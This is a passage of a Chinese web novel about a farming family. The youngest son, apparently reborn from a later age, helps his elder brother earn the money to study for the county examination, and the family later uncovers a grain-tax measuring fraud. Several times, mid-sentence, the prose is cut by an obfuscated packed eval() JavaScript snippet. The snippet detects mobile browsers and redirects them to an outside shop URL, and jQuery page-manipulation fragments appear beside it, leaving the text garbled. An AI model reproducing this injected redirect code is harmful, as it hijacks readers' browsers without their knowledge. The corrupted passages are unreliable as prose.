可是……若不同意,树儿这辈子可能就真的只是个庄稼汉了。那孩子的眼神,他们记得,每次从学馆回来,虽然疲惫,眼底却总有一簇不灭的火苗。难道要亲手掐灭它吗? 李氏的眼泪无声滚落,王老实则是一口接一口地抽着旱烟,烟雾缭绕,却驱不散眉宇间那座沉重大山。 王佑安静地坐在门槛上,手里依旧握着那根树枝,目光却落在院子里被暖阳晒得发白的泥土上。 时间在沉默和烟味中缓慢爬行,每一息都拉得漫长。 不知过了多久,王佑站起身,走到父母面前。他仰起小脸,声音不高,却异常清晰,带着一种与年龄不符的条理:“爹,娘,夫子说了,束脩可减可缓,大哥只要口粮和笔墨。口粮,大哥在家也要吃。笔墨……最费钱,但大哥省着用,旧纸背面也能写字,墨块买最便宜的,一支笔用很久。” 李氏喃喃:“那也……” “关键是,大哥去夫子那里读书,不是整天关在屋里,夏收和秋收可以回来。” 王老实眉头动了动。 王佑语速加快:“爹,春节过后不是还不用下秧苗吗,趁现在农闲,你们一起去镇上!镇上不是总有招短工的吗?修河堤、搬货、去工坊做力气活……爹你有力气,大哥也能帮忙。你们一起去,做个把月短工!” 这个提议像一道闪电,劈开了王老实和李氏混沌的思绪。 “镇上的短工,管吃住,工钱日结。爹和大哥两个人,干一个月,哪怕工钱不高,加起来总能攒下一些。这笔钱,足够支付大哥接下来一年的笔墨开销,或许……还能有点剩余贴补家里。” 他顿了顿,看着父母眼中重新燃起的光,说出了最关键的一句:“这样一来,大哥明年去读书,家里就不会立刻增加负担,反而因为多了爹和大哥的工钱,可能还宽裕一点。至于以后……等大哥学了一年,看看情形再说。若真有天赋,明年再想办法。若实在艰难,再做打算也不迟。” 王老实猛地掐灭了烟锅,眼睛死死盯着幼子。李氏也止住了哭泣,双手紧握在一起。 “去镇上……做工?”王老实嗓音沙哑,“两个人,真能挣出树儿一年的笔墨钱?” 王佑想起书上关于明朝资本主义萌芽初期的那段历史,认真地说:“试试看,总比什么都不做,干看着机会溜走强。而且,爹,你不是一直想看看镇上的工坊什么样吗?大姐也在那边。” 最后一句,轻轻触动了王老实心底最柔软也最疼痛的地方。 杏儿…… 长时间的沉默后,王老实重重地、从胸腔里吐出一口浊气,仿佛做出了一个千斤重的决定。他看向李氏:“他娘,你看……佑儿说的……” 李氏用力点了点头,声音哽咽:“就……就按佑儿说的办!让树儿去试试!咱们……咱们也拼一把!” 计划就此敲定。王老实立刻开始盘算去镇上要找谁打听短工消息,带哪些工具,李氏则开始默默计算家里所剩无几的粮食,如何支撑父子俩出门期间的口粮和留给幼女、幼儿的份额。 傍晚时分,王树和王桃回来了。王桃拎着一个小木桶,里面有几尾不大的鲫鱼,是她在村后小河里辛苦摸来的,想给家里添点荤腥。王树则背着一捆柴,额上都是汗,眼神却有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960749|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飘忽。 一进门,他们就察觉到了家里的气氛不同寻常。 “爹,娘,我们回来了。”王树放下柴,低声说道。 王老实看着他,清了清嗓子,用一种尽量平稳的语调开口:“树儿,桃儿,过来坐下,有件事跟你们说。” 王树的心猛地一沉,他僵硬地坐下,王桃也惴惴不安地挨着他。 王老实将李夫子到访的详细经过,以及他们一家之后的商议,原原本本地说了出来。 王树听着,脸上的表情从最初夫子亲自上门劝学的难以置信与激动,再到听到弟弟那个具体而冒险的计划时,他彻底呆住了。 去做工?和爹一起?用一个月苦力,换一年读书? 这……这完全超出了他的预料。他以为要么是绝望的拒绝,要么是全家勒紧裤腰带硬撑。从未想过,会是这样一个……带着务实到近乎冷酷的折中方案。 他下意识地看向弟弟。王佑抬起头,对上他的目光。那双眼睛依旧清澈平静,只是那么安静地看着他,仿佛在问:大哥,这条路,你敢走吗? 敢吗? 去镇上,和父亲一起,像最底层的力工一样,出卖力气,换取那可能改变命运的笔墨纸张。 一股热血混合着酸楚冲上王树的头顶。他猛地站起来,因为动作太急,带倒了身后的小凳。 “爹!”他的声音有些发颤,眼圈瞬间红了,“我去!我能干!我一定好好干!也一定……好好读!” 没有豪言壮语,只有最朴素的承诺。 王桃看看哥哥,又看看父母和弟弟,小脸上露出坚定的神情:“爹,大哥,你们放心去,我在家帮娘干活,照顾弟弟!” 李氏一把将王树和王桃搂进怀里,泪水涟涟。王老实别过脸去,用力眨了眨眼睛。 王佑放下擦得锃亮的柴刀,悄悄松了一口气。 7. 带着希望的六百二十文 第二天天不亮,王老实就揣着两个冷硬的杂粮饼子出了门,直奔镇上。他需要尽快问道春节后的活计,时间拖得越久,找不到合适活计的风险就越大。 王老实直到傍晚才拖着疲惫的步子回来,脸上混合着尘土、汗水和一丝不易察觉的兴奋。 “问着了。”他灌了一大碗凉水,哑着嗓子对围上来的妻儿说,“码头那边的货栈,初五便招短工。扛大包,卸船,工钱高,一天十五文,管一顿干饭,晚上还能挤在货栈的窝棚里睡,省了住店钱。” 李氏听得直皱眉:“扛大包?那得多累?你腰早年就落过病……” 王老实摆摆手:“累就累点,钱多。码头那边,我跟管事的说了,可以带个半大小子帮忙,算半个工,一天八文,也能挤窝棚。树儿跟我去,正合适。” 王树立刻挺直了腰板:“爹,我能行!我不怕累!” 王佑在心里飞快地计算:父亲一天十五文,大哥八文,一天就是二十三文。干满三十天,是六百九十文。扣除可能的伤病、雪天无法出工等因素,就算六百文。这笔钱对于农家而言确实是一笔可观的巨款,应付大哥一年的笔墨开销,甚至还能略有盈余。 王老实一锤定音,“初五一早,我跟树儿就走。” 李氏张了张嘴,终究没再反对。春节过后,默默收拾父子俩极其简陋的行囊。两身破旧但还算结实的厚麻衣,一床棉花已经凝固,却舍不得扔掉的破被子,两双步鞋,一块破布包着的杂粮饼子当干粮,还有两只的粗陶碗。 出发那天清晨,天色微明。王树背着小包袱,站在背着行囊的父亲身边,少年人的身形还有些单薄,眼神却充满了初生牛犊般的决心和紧张。王老实拍了拍他的肩膀,没说什么。李氏红着眼眶,反复叮嘱着“注意安全”、“累了就歇歇”、“别跟人争抢”。 “爹,大哥。”王佑忽然开口,声音清脆,“要是……要是碰巧看到大姐,告诉她,家里都好,让她……自己也保重。” 王老实和李氏同时一震,看向王佑。王老实重重地点了下头,喉咙里“嗯”了一声,算是答应。 父子俩的身影,很快消失在村口弥漫的晨雾中。 李氏带着王桃和王佑,守着这个空荡了许多的家,打理菜地,喂养家禽,每一日都盼着镇上有消息捎回,又害怕传来不好的消息。 镇上,码头的艰辛远超王树的想象。 那不是一个有固定时辰、规律劳作的地方。货船来的时间不定,有时半夜靠岸,急促的锣声和工头的吆喝就会把窝棚里横七竖八躺着的力工们全部吼起来。空气里永远弥漫着码头特有的腥气、货物混杂的怪味,以及力工们身上浓重的汗臭。 王老实被分去扛最重的粮包。每个麻袋足有一百多斤,压在肩上,脊椎骨发出不堪重负的呻吟。他咬着牙,跟着前面人的步伐,踩着摇摇晃晃的跳板,将粮食扛进昏暗的仓房。一趟又一趟,汗水浸透了破旧的厚麻衣,紧紧贴在皮肤上,又被体温和劳动的热量烘干。他的腰旧伤时而发作,每走一步都像有针在刺,但他不能停,停了,今天的工钱就没了,儿子的机会就少了。 王树被安排做杂活,搬运小件货物,清扫码头,给工头跑腿。活计看似轻省,却琐碎磨人,且要时刻眼明手快,否则就会招来斥骂。他亲眼看到,一个年纪与他相仿的少年,因为搬货时脚下滑了一下,摔破了一坛酱菜,被工头揪着耳朵踹倒在地,扣光了当日的工钱,还被打发走了。 晚上,他们和其他几十个力工挤在货栈后面用破木板和油毡搭成的窝棚里。地上铺着潮湿的稻草,跳蚤和臭虫肆虐。脚臭味、劣质烟草味、还有不知谁带的咸菜疙瘩味,混杂在一起,几乎令人窒息。呼噜声、梦呓声、痛苦的呻吟声此起彼伏。王树常常在极度疲惫中昏睡过去,又在浑身酸痛中醒来,看着身边父亲即使在睡梦中依然紧锁的眉头和灰败的脸色,心里像堵了块石头。 最让王树震撼的,还不是□□的劳累和环境的恶劣,而是那种无处不在的漠视和践踏。工头的鞭子,看守的冷眼,客商老爷们坐在屋棚下喝茶时,扫过码头力工们如同看蝼蚁般的眼神……在这里,力气和时间被明码标价,尊严和健康则廉价得无人提及。 他咬着牙,把所有的屈辱、疲惫、对家人的思念,都转化为更用力地干活,更仔细地跑腿,更小心地不出错。每当工头用那杆缺了准星的小秤,将几枚磨损的铜钱丢进他满是血口子的手心时,那微微的金属凉意,才能给他带来一丝支撑他坚持下去的安慰。 他们也曾试图打听王杏的消息。永顺纺纱工坊在镇西头,离码头有些距离。王老实趁着一个晌午歇工的短 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960750|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暂空隙去过一次。工坊高大的砖墙紧闭,侧门有膀大腰圆的看守。他凑上前,小心翼翼地说想找在里面做工的女儿王杏。 看守斜睨了他一眼,不耐烦地挥挥手:“去去去!工坊重地,女工不得随意探视!上工时间,谁也不见!” 王老实恳求再三,只换来一句:“王杏?好像有这么个人。活计还行。别的不知道!” 他连王杏的面都没能见上,只知道她还在里面,仅此而已! 一个月,在日复一日的煎熬中,终于接近尾声。王老实脸颊深深凹陷下去,王树也黑瘦了一圈,手上添了不少新伤,但眼神却磨砺出一种远超年龄的沉郁和坚韧。 最后一天结清工钱,父子俩小心翼翼地将赚来的铜钱数了又数,用一块最干净的破布层层包好,贴身藏好。总共六百二十文,比预计的少了一些,因为王老实中间腰伤复发,歇了两天。但这也是一笔沉甸甸的收获了。 离开码头前,王树忍不住又回头看了一眼。浑浊的河水,杂乱堆积的货物,佝偻忙碌的身影,空气中熟悉又令人作呕的气味……这一个月,像一场漫长而真实的噩梦,也像一剂苦到极致的猛药。 他想起离家前幼弟那双平静的眼睛。 读书,一定要读出个名堂。 不是为了什么光宗耀祖的虚名,只是为了,不用再回到这里,不用让父亲再扛起那样的重包,不用让大姐困在那高墙之后,不用让弟弟妹妹,再经历他们经历的一切。 父子俩带着满身疲惫和那包沉重的希望,踏上了归家的路。 家里,李氏早已望眼欲穿。当看到两个几乎认不出来的黑色身影出现在村口时,她的眼泪一下子涌了出来。王桃飞奔着迎上去,王佑也迈着小短腿,紧紧跟在后面。 没有过多的言语,王老实将那包染着体温的铜钱,郑重地交到李氏手中。李氏捧着它,像捧着滚烫的炭火,又像捧着易碎的珍宝,泣不成声。 王树站在父亲身边,看着母亲和弟妹,看着这个虽然贫穷却无比温暖的家,一个月来紧绷的神经骤然松弛,巨大的疲惫涌上心头,让他眼眶发热,却又强行忍住。 他看向弟弟王佑。 王佑也正看着他,小小的脸上没有太多表情,只是走上前,伸出小手,轻轻碰了碰大哥布满伤口和新茧的手背。 8. 李夫子倾囊相授 王老实在家躺了一天,才能勉强下地走动。李氏用家里仅剩的一点新米,掺和着野菜,给父子俩做了几顿稠粥,眼里满是心疼。 王树却没怎么休息。他身上的疲劳似乎被某种更炽热的东西压了下去。第三天清晨,天还未亮透,他就默默起身,将母亲浆洗干净的那身破袄小心穿上,又把那包用最干净破布重新包好的铜钱,仔细的放在包袱里。 “爹,娘,我自己去李家村,爹的腰得好好养着,不能再走远路。” 王老实想说什么,动了动嘴唇,最终只是点了点头。李氏红着眼眶,将几个还温热的杂粮饼子塞进他怀里:“路上吃……见了夫子,好好说……好好学。” 王桃揉着惺忪睡眼出来,小声说:“大哥,路上小心。” “嗯。”王树应了一声,目光掠过妹妹,最后落在依旧还在沉睡的幼弟身上。王佑似乎感受到,睁开双眼,兄弟俩对视片刻。 王树转身推开门,踏进了熹微的晨光中。 李夫子看到独自前来的王树时,正在院子里慢吞吞地打一套养生拳。见到王树风尘仆仆却腰背挺直地走进来,他收势站定,上下打量了他几眼,尤其是在王树明显粗糙了许多、带着新旧伤痕的手上停顿了片刻,眉头微不可察地动了一下。 “夫子。”王树恭恭敬敬地行了个礼,没有多余的寒暄,直接从包袱里取出那包铜钱,双手奉上,“这是……这是学生与家父在镇上码头做工一月所得,共计六百二十文。学生家中不懂笔墨几何,除了一年束脩,余钱恳请夫子帮忙购买笔墨纸砚,准学生随夫子进修经义。” 李夫子目光掠过那包磨损严重、显然是一枚枚攒起来的铜钱,又落到王树那张虽然疲惫却目光灼灼的脸上。这孩子的家境,他清楚,这六百多文钱意味着什么,他更清楚。那不仅仅是钱,是汗,是血,是一个农家倾尽全力的支持! 李夫子心中满是复杂。有叹息,有触动,还有一丝仿佛看到年轻时的自己,在泥泞中拼命向上的影子。 他没有去接那包钱,而是沉默了片刻,缓缓开口,声音比以往任何时候都显得郑重:“王树,你既已下定决心,老夫也不再赘言。科举之路,如逆水行舟,非有大毅力、大决心不可为。你资质尚可,更难得的是这份心志。” 他顿了顿,目光如电,直视王树:“从今日起,你便正式拜入我李元明门下,非是附读,而是正式弟子。我当尽力教你经义文章,助你叩开科举之门。” 王树心头剧震,几乎不敢相信自己的耳朵。他强压住激动,撩起衣摆,就要跪下磕头行拜师礼。 “且慢。”李夫子却又拦住了他,目光落在那包铜钱上,“这钱,你拿回去。” 王树猛地抬头,愕然。 “这钱,是你父子血汗换来,是你全家生计所系。老夫岂能收下?” “可是夫子,束脩……” “束脩免了。”李夫子一摆手,“非但束脩,从今往后,你在我这里读书,笔墨纸砚,也由老夫提供。” 王树如遭雷击,张着嘴,一个字也说不出来。 李夫子看着他震惊失措的样子,脸上露出一丝罕见的温和神色,但语气依旧严肃:“莫要以为这是施舍。老夫是看中你的心志与潜力,不忍明珠蒙尘,更不愿见你因些许阿堵物而分心旁骛,耽误学业!你需记住,老夫对你期望甚高,你肩上担子也更重。从今日起,你须得比旁人刻苦十倍、用心百倍!若有懈怠,辜负了老夫这番心意……” 王树深吸一口气,后退一步,整肃衣冠,然后撩袍,端端正正地跪下,对着李夫子,重重地磕了三个响头。 “弟子王树,拜谢恩师!恩师再造之恩,弟子没齿难忘!弟子在此立誓,必当悬梁刺股,殚精竭虑,不负恩师厚望,不负父母苦心!” 李夫子受了礼,上前将他扶起,拍了拍他的肩膀:“起来吧。记住你今日所言。今日先安顿,明日开始,卯时初刻,书房见我。” 王树重重点头,将那包烫手的铜钱紧紧攥在掌心。这钱,他得带回去,这是父亲用腰伤换来的,是家庭的喘息之机。而夫子赐予的,是比金钱更珍贵的机遇和信任。 王树回到家,家中又是一番难以言喻的震动与感激。王老实和李氏对着李家村的方向,不知念叨了多少声“好人”、“菩萨保佑”。那六百二十文钱,被李氏更加珍重地收好,成了家里应对不时之需的‘压舱石’,也让王老实心里少了许多焦虑。 而王树回到学馆,则一头扎进了书山学海中。 每日卯时初刻,他必定已经端坐在李夫子那间狭窄却藏书丰富的书房里,开始晨读、背诵。白天,李夫子系统地为他讲解《四书》章句,从《大学》一字一句,掰开揉碎,结合集注,深入剖析义理。下午,则是习字和初步的作文训练,从破题开始,到承题、起讲……一步步窥探八股文的森严门径。 李夫子教得极其认真,甚至可称严苛。一个典故讲三遍若王树仍有疑惑,他便要皱眉;一个字写错笔画,定要重写数十遍;一篇习作若有敷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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年末的一次考校,李夫子命题《学而时习之义》,王树破题精准,承转自然,虽文笔尚显稚嫩,但义理通达,结构已然初具模样。李夫子览毕,沉默良久,将文章轻轻放在案上,抬眼看向侍立一旁的王树,眼中是毫不掩饰的激赏和一种近乎孤注一掷的决心。 “王树,明年开春,县试。” 王树心头猛地一跳。 “以你如今进境,县试或可一搏。”李夫子目光灼灼,“只是,你根基尚浅,火候未足,需得再加一把猛火。从今日起,除却经义文章,你须得将本朝律例、近十年县试优秀墨卷,乃至一些官场邸报传闻,也纳入涉猎。时间紧迫,你须得昼夜兼程。” 他站起身,走到书架前,取下一套纸页都已泛黄的《近科墨选》和一本手抄的《大梁律例摘要》,郑重地放到王树面前。 “这些东西,你拿去,仔细研读。笔墨纸张,你无需再虑,专心备考便是。”李童生的语气,是一种不容置疑的托付,“老夫……等着看你破壁之日。” 王树双手接过那沉甸甸的书卷,指尖微微颤抖。 他再次深深一揖,千言万语,哽在喉头:“弟子,定当竭尽全力!” 9. 县试前的王家 北风卷着细碎的雪末,拍打着王家糊了厚厚窗纸的格子窗。年节将近,村里零星响起几声爆竹,空气里也似乎飘荡起一丝若有若无的油荤气。 王树是腊月二十四小年那天回来的。他身上的学童青衫洗得发白,却浆烫得笔挺,衬得人愈发挺拔。他带回来的行李很简单,除了几件换洗衣物,便是李夫子赠予的那套《近科墨选》和《大梁律例摘要》,书页边缘已被翻得起了毛边,里面夹满了密密麻麻写满批注的纸条。 家里的境况,王树看在眼里,痛在心里。父亲的腰伤似乎成了顽疾,这个季节经常疼得直不起身。母亲李氏的眼角皱纹更深了,鬓边白发愈发刺眼。妹妹抽条似的长高了些,却更瘦了,手脚勤快地帮着母亲忙里忙外,话却比以前更少。弟弟过了年就五岁了,安静得不像个孩童,常常只是坐在角落里,用一根烧黑的树枝,在平整过的泥地上划拉着什么,眼神却空茫地越过院墙,不知望向哪里。 最让王树揪心的,是偶尔从父母低语中漏出的,关于大姐的消息。永顺纺纱工坊开始克扣工钱,延长工时,还听说有女工累死后被盖着白布草草送回家的。家里托人捎去的口信和一点吃食,往往石沉大海,杳无回音。大姐就像断线的风筝,飘在镇子那堵高墙后面,生死困顿,家里无能为力。 这个年,注定过不安生! 除夕夜,年夜饭,李氏狠心杀了家里养了几年的一只老母鸡,熬了一小锅清汤,里面飘着许多萝卜。这已是王家近年来最丰盛的一餐。 饭桌上,气氛有些凝滞。王老实努力挺直腰板,想挤出点笑容;李氏不停地给王树夹菜,自己却几乎没动筷子;王桃小口吃着,眼睛不时瞟向哥哥;王佑则规矩地坐在特制的高凳上,安静地喝汤。 “树儿。”王老实哑着嗓子开口,“在夫子那里……还惯吧?吃得好不好?” “爹,娘,都好。夫子待我极好。”王树放下碗,认真回答,“夫子免了束脩,还供给笔墨,儿子……儿子心里有数。” 李氏的眼泪一下子涌上来,连忙用袖子擦了:“好,好……夫子是好人,是贵人……你要争气,要好好念,报答夫子……” “嗯。”王树重重地点头,目光扫过家人,最后落在埋头喝汤的弟弟身上,顿了顿,道,“爹,娘,过了初五,儿子就得回学馆了。夫子说,开春县试的日子一近,许多关节还需加紧准备。” “这么快……”李氏喃喃。 “应该的,正事要紧。”王老实很快反应过来,拍了拍桌子,“家里不用你操心,安心念你的书!” 王树没再说什么,只是默默扒完了碗里最后一口米饭。 于是,这个短暂的春节假期,对王树而言,不过是换了个地方苦读。家里没有专门的书房,他就搬个小凳,坐在炕沿,就着窗户透进来的天光,或是夜里那盏豆大的油灯,埋头于那些艰深的经义和律例条文之中。家里人来人往,村邻偶尔的串门寒暄,似乎都被他隔绝在了另一个世界。 这一切,都被王佑静静地看在眼里。 他不再像小时候那样刻意引导或提问,只是像一个最普通的幼弟,安静地待在一旁。他会给大哥端一碗晾温的开水,会在大哥揉着酸涩的眼睛时,悄悄递上一块用井水浸湿的破布。更多的时候,他只是看着,看着大哥瘦削却挺直的背影,看着那在昏暗光线下微微颤动的笔尖,看着父母望着大哥时那混合着骄傲、心疼和无限担忧的眼神。 夜晚,当大哥终于吹熄油灯,在冰冷的炕上和衣躺下,很快因极度的疲惫陷入沉睡时,王佑会悄悄睁开眼,在黑暗中,望向大哥的方向。 五岁的身体里,是一个来自信息爆炸时代的灵魂。他知道科举的残酷,知道千军万马独木桥的惨烈,更知道一个毫无背景的农家子,想要凭借几本书、一支笔杀出重围,是多么渺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960752|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茫的希望。大哥很努力,夫子也尽力了,但……够吗? 他的记忆里没有具体的八股范文,没有完整的四书五经注解,但他有超越时代的思维框架,有对历史规律和政治逻辑的粗浅认知,有高效学习的方法论碎片。这些,他无法直接灌输给大哥,那太惊世骇俗,也无法被这个时代的思维模式所理解。 他只能等,只能看,只能……在心里,用尽自己全部的精神力量,去祈愿,去‘保佑’。 保佑大哥那些文章能入考官的眼。 保佑没有意外,没有黑幕。 保佑县试顺利、参加府试。 保佑大哥能拿到童生的身份。 有了童生身份,就算正式踏入了‘士’的最低门槛。赋税可减免部分,在乡里也会受到一定尊重。更重要的是,家里会多一份保障,多一条生计,或许可以开个小小的蒙学堂,或许可以帮人写写算算。 最重要的是,有了这个身份,再去接回在工坊里苦苦挣扎的大姐,会不会多一点底气? 工坊的管事,对待一个童生的家人,会不会稍有不同? 这个念头,像一点微弱的火星,在王佑心底燃着。他太想改变这个家的处境了,太想看到父母脸上的愁容能被真正的笑容取代,太想那个记忆中只有模糊轮廓的大姐,能回到这个虽然清贫却温暖的家里。 时间在焦虑与期盼中滑向初五。王树收拾行装,再次告别家人,踏上了返回李家村备考的最后征程。这一次,家人的送别没有太多言语,只是目光交汇间,那份沉甸甸的托付和期盼,几乎凝成实质。 王佑站在门口,看着大哥的背影渐行渐远,直到变成天地间一个模糊的小黑点。寒风卷起地上的残雪,扑打在脸上,生疼。 他悄悄握紧了小拳头,用只有自己能听到的声音,低低地、一遍又一遍地默念:“一定要中……大哥,一定要中啊……” 10. 缴粮时的那些手脚 王树离开后的王家,日子照旧,挑水、劈柴、喂鸡、打理那几亩过了冬略显萧索的田地。但王老实和李氏的动作,总带着几分心不在焉的迟缓,目光时不时就飘向村口那条路。 王佑五岁的身体里,那份焦灼感与日俱增。他比谁都清楚,县试,远不止是坐在考棚里写几篇文章那么简单。盘缠、保结、廪生认保、考篮、衣物、甚至打点考场胥吏的门敬……处处都可能成为拦路虎。 他开始更加细致地观察这个家,像一个精打细算的管家,寻找着任何一点可能的资源。 这日,村里几户与王老实家关系尚可的农户,聚在王老实家商议春耕借贷种子的事。年景不好,几个人愁眉苦脸,掰着手指头算着来年可能还不上的账。其中一人唉声叹气:“……不光种子,去年秋粮折银上缴,被粮长用大斗盘剥,明明该是三石二斗的价,硬是只算了两石八斗,这亏空……” 王老实闷头抽烟,他自家也艰难,无力相助,只能陪着叹气。 一直安静坐在角落、仿佛不存在一样的王佑,耳朵却竖了起来。粮长?折银?大斗盘剥?这几个词像钥匙,瞬间打开了他记忆深处的某个匣子。 那是关于明代中后期‘一条鞭法’实行后,实物税折银征收过程中,基层胥吏利用度量衡和银钱比价上下其手、盘剥百姓的常见手段。 他脑子里飞快地转着,本朝税法似乎与明朝类似,那么…… 他轻轻扯了扯旁边王桃的衣角。王桃三年蒙学已结束,她低头看见弟弟乌黑的眼珠望着她,又飞快地瞥了一眼正在唉声叹气的王柱,小手在膝盖上,用手指蘸了点灰,写了两个字:斗、秤。 王桃一愣,没完全明白。王佑又指了指王柱,做了个“问”的口型。 王桃隐约猜到弟弟可能想到了什么。她犹豫了一下,细声细气地开口:“大柱叔,您刚才说……粮长用大斗盘剥,是用的官斗吗?咱们村里缴粮时量的那个?” 王大柱正愁苦,见是王家的丫头问,也没多想,随口道:“可不是!看着是官斗,可那斗……唉,咱们庄稼把式,哪里弄得清这里头的弯弯绕,他们说多少就是多少。” 王佑心脏一跳。果然!他立刻又在灰上写了‘旧规’和‘比价’两个词,推给王桃看。 王桃这回思索的时间更长些。她想起大哥之前说过的话。组织了一下语言:“大柱叔,我……我好像听人提起过,县衙门口有时会贴告示,说税粮折银,要按七年定规的平价折算,不许擅自加耗。用的斗秤,也需与县库校勘斗秤相符,若是不符,可以……可以告发的。” 屋里瞬间安静下来。几个农户连同王老实,都惊讶地看向王桃。一个只读了三年蒙学的农家丫头,怎么会知道这些? 王大柱疑惑道:“桃丫头,你从哪儿听来的?告示?” 王桃脸微微一红,低声道:“我大哥……有时会抄些县里的告示回来温习,我……我帮着磨墨,记下几句。” 当时王佑以好奇方式,追问大哥‘官府收粮是不是一直一个价’,引导王树去翻找邸报和律例,王桃也在一旁学习,从大哥口中得知。 王老实看了女儿一眼,没说话,眉头却皱紧了。他知道这里面的凶险。民告官,还是告粮长胥吏?那是找死! 另一个农户却像是抓住了救命稻草,急道:“桃丫头,那告示上真这么说的?要是真的,咱们是不是能去县里……” “去县里找死吗?”王老实声音干涩,“那些胥吏官差,上下通气,你告得赢?只怕还没进衙门,腿就先被打折了!” 希望刚燃起就被泼灭,几人又陷入沮丧。 王佑低声与王桃说了些什么,王桃轻轻“哦”了一声,吸引了众人的目光。只见她不知何时从角落里拿出大哥以前用过的一块旧石板和半截石笔。在石板上画了一个斗的形状,然后在旁边写了一个大大的‘官’字,又在‘官’字下面,画了一个稍小但形状略有不同的斗,旁边打了个问号。 王大柱猛地瞪大眼睛,凑近石板看。他虽然不识字,但斗的形状还是认得清的。王桃画的第二个斗,斗口似乎微微外扩,斗身也略矮,这正是大斗常见的作弊手法,看似容量不变,实际因为形状改变,能多装不少粮食! “这……这桃丫头画的……”王柱声音发抖,“像!真像!粮长那斗,好像就是有点……不一样!” 王桃接着在石板上,又画了一个简单的天平模样,一边写着‘银’,一边写着‘谷’,然后在‘银’那边画了个向下的箭头,写了个‘贱’字,在‘谷”那边画了个向上的箭头,写下‘贵’。最后,在中间歪歪扭扭写了‘七年价”三个字。 这是说,税粮折银时,故意压低银价,抬高谷价,利用差价盘剥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16960753|193289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !而‘七年价”指的是官府规定的固定折价,不许随意改动。 这下,连王老实都倒吸一口凉气。他看着自家小女儿,眼神如同在看一个怪物。这孩子怎么懂这些?还画得如此……一针见血? 王桃适时地低声道:“爹,大柱叔,这事儿……硬碰肯定不行。但……但若是咱们自己心里先有杆秤,知道他们哪里做的不对,下次缴粮折银时,或许……或许可以多问几句,或者村里邻居一起对着告示跟他们理论?他们总不敢在光天化日下,完全不顾王法吧?” 屋里再次安静,但这次,沉默中涌动的不再是绝望,而是带着些微希冀和忐忑。几个农户互相看了看,眼中燃起一点亮光。 王大柱对着王老实,郑重地拱了拱手:“老实哥,桃丫头……了不得!你们家,要出人物啊!这事儿,咱们再合计合计。” 他们又低声商议了一阵,才各自散去。临走前,看王桃的眼神,都带着难以言喻的惊奇。 等外人走光,王老实关上门,目光看向王桃:“桃儿,那些话,真是从你哥抄的告示上看来的?” 王桃身子一颤,低下头:“……有些是,有些……是佑弟刚才提醒的,我……我顺着说的。” 王老实看向王佑。王佑抬起小脸,眼神清澈无辜,甚至还带着点孩童的茫然。 李氏走过来,一把将王佑搂进怀里,声音发颤:“他爹,佑儿还小,他不懂那些,就是……就是瞎说的……” 王老实没说话,只是久久地盯着幼子。那双眼睛,太干净,也太深了,深得不像个孩子。他想起了王佑开口时念的《百家姓》,想起了他平日过分的安静和偶尔精准的提问,想起了他提议让父子去码头打工的条理…… 许久,王老实长长吐出一口浊气,仿佛卸下了某种重担。他走到王佑面前,蹲下身,粗糙的大手轻轻放在王佑头上。 “佑儿。”他的声音很低,很沉,每个字都像是从胸腔里用力挤出来的,“有些事,放在心里,烂在肚子里。在外头,你就是个普通的娃,知道吗?” 王佑看着父亲眼中那混合着惊惧、担忧、骄傲和无比复杂情绪的光芒,慢慢地点了点头。 王老实看向女儿:“今天的话,出了这个门,谁也不能提。尤其是你弟弟……说的那些。” 王桃用力点头:“爹,我晓得轻重。” 11. 王树通过县试 这件事,在王家和相熟的几户心中激起了涟漪,在夏税秋粮时,如何更有效地抱团,利用规则缝隙争取微小利益的盘算。王家内部,对待王佑,除了骨肉亲情,更多了一份难以言喻的谨慎和将他视为‘非常’的认知。 